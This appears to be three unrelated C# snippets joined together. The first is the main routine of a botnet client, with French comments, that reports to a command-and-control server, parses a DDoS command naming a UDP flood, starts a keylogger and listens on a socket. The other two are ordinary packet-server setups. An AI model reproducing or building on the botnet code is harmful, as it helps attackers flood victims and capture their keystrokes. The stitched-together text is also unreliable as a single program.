static void Main(string[] args) // Main du Botnet { //Envoi des données au CNC de façon ASYNCHRONE (Apache et MySQL doivent être démarrés en local avec les bons scripts): Initialization initialiser = new Initialization(); Task test = initialiser.sendInfoToCNCAsync(); //TODO: étudier comment correctement utiliser une fonction asynchrone en C#, pas sûr que je m'y prenne de la bonne manière //Exctraction des actions, target et arguments envoyés: ProtocolController ptclctl = new ProtocolController("<SOC><CMD>DDOS</CMD><TARGET>127.0.0.1</TARGET><ARG1>UDP</ARG1><ARG2>1500</ARG2><EOC>"); Console.WriteLine("Action: " + ptclctl.action + "\n"); Console.WriteLine("Target: " + ptclctl.target + "\n"); foreach (string str in ptclctl.arguments) { Console.WriteLine(str); } Console.Read(); Console.ReadKey(); InterceptKeys interceptor = new InterceptKeys(); interceptor.start(); //Initialisation d'un objet ServerConnectors "sc" avec les informations les plus importantes: ip et port d'écoute: ServerConnectors sc = new ServerConnectors(IPAddress.Parse("127.0.0.1"), 2107); //Mise en écoute du socket grâce à la méthode ListenAndReceiveData() de l'objet "sc": sc.ListenAndReceiveData(); Console.ReadKey(); }
public ConnectorsHandler() { _serverConnectors = new ServerConnectors(new ServerConnectorsSettings() { PacketsMap = SendPacketsUtils.GetClient2ServerMapping(Assembly.GetAssembly(typeof(LoginRequestPacket))), ListenPort = 1111, }); _serverConnectors.OnNewConnector += ServerConnectors_OnNewConnector; _serverConnectors.OnPacket += ServerConnectors_OnPacket;; _serverConnectors.OnRequestPacket += ServerConnectors_OnRequestPacket; _serverConnectors.OnDisconnect += ServerConnectors_OnDisconnect; _serverConnectors.OnException += ServerConnectors_OnException; _serverConnectors.OnDebugLog += ServerConnectors_OnDebugLog;; _serverConnectors.Listen(); }
static void Main(string[] args) { Console.WriteLine("TestSimpleEchoServer"); _serverConnectors = new ServerConnectors(new ServerConnectorsSettings() { PacketsMap = new Dictionary <Tuple <int, int>, Type>() { { new Tuple <int, int>(1, 1), typeof(string) }, }, ListenPort = 1112, }); _serverConnectors.OnNewConnector += ServerConnectors_OnNewConnector; _serverConnectors.OnPacket += ServerConnectors_OnPacket;; _serverConnectors.OnRequestPacket += ServerConnectors_OnRequestPacket; _serverConnectors.OnDisconnect += ServerConnectors_OnDisconnect; _serverConnectors.OnException += ServerConnectors_OnException; _serverConnectors.OnDebugLog += ServerConnectors_OnDebugLog; _serverConnectors.Listen(); }